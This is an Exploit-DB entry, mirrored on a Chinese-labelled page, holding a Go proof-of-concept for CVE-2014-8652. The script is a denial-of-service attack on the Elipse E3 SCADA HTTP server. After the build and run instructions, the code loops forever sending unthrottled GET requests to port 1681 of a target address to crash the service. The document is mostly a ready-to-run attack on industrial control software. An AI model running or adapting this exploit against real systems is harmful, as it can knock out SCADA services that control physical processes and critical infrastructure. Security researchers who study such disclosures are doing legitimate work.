Elipse E3 – HTTP Denial of Service

  • 作者: firebitsbr
    日期: 2014-11-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35379/
  • // Exploit Http DoS Request for SCADA ATTACK Elipse 3
    // Mauro Risonho de Paula Assumpção aka firebits
    // mauro.risonho@gmail.com
    // 29-10-2013 11:42
    // Vendor Homepage: http://www.elipse.com.br/port/index.aspx
    // Software Link: http://www.elipse.com.br/port/e3.aspx
    // Version: 3.x and prior
    // Tested on: windows
    // CVE : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8652
    // NVD : https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8652
    // Hard lock Dll crash in Windows 2003 SP2 + 20 requests connections
    // exploit in Golang (golang.com) C Google
    // compile and execute:
    // go build Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
    // chmod +x Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
    // ./Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
    
    package main
    
    import (
    	"fmt"
    	"io/ioutil"
    	"log"
    	"net/http"
    )
    
    func main() {
    	count := 1
    //	fmt.Println ("")
    //	fmt.Println (" _____._____. .____ ")
    //	fmt.Println (" _/ ____\__|______ ____\_ |__ |__|/|_______ ")
    //	fmt.Println (" \ __\|\___ \_/ __ \| __ \|\ __\/___/ ")
    //	fmt.Println (" |||||| \/\___/| \_\ \|||\___ \")
    //	fmt.Println (" |__||__||__|\___>___/__||__| /____> ")
    //	fmt.Println (" \/\/\/")
    //	fmt.Println ("					 bits on fire. ")
    	fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")
    	fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")
    	fmt.Println ("29-10-2013 11:42")
    fmt.Println ("mauro.risonho@gmail.com")
    	fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")
    	fmt.Println ("20 requests connections per second")
    
    	for {
    		count += count
    		//http://192.168.0.1:1681/index.html -> Elipse 3 http://<ip-elipse4><port listen: default 1681>
    
    		fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")
    		fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")
    		fmt.Println ("29-10-2013 11:42")
    fmt.Println ("mauro.risonho@gmail.com")
    		fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")
    		fmt.Println ("20 requests connections")
    
    		fmt.Println ("Connected Port 1681...Testing")
    fmt.Println ("Counter Loops: ", count)
    
    		res, err := http.Get("http://192.168.0.1:1681/index.html")
    		if err != nil {
    			log.Fatal(err)
    		}
    			robots, err := ioutil.ReadAll(res.Body)
    			res.Body.Close()
    			if err != nil {
    			log.Fatal(err)
    		}
    		fmt.Printf("%s", robots)
    	}
    }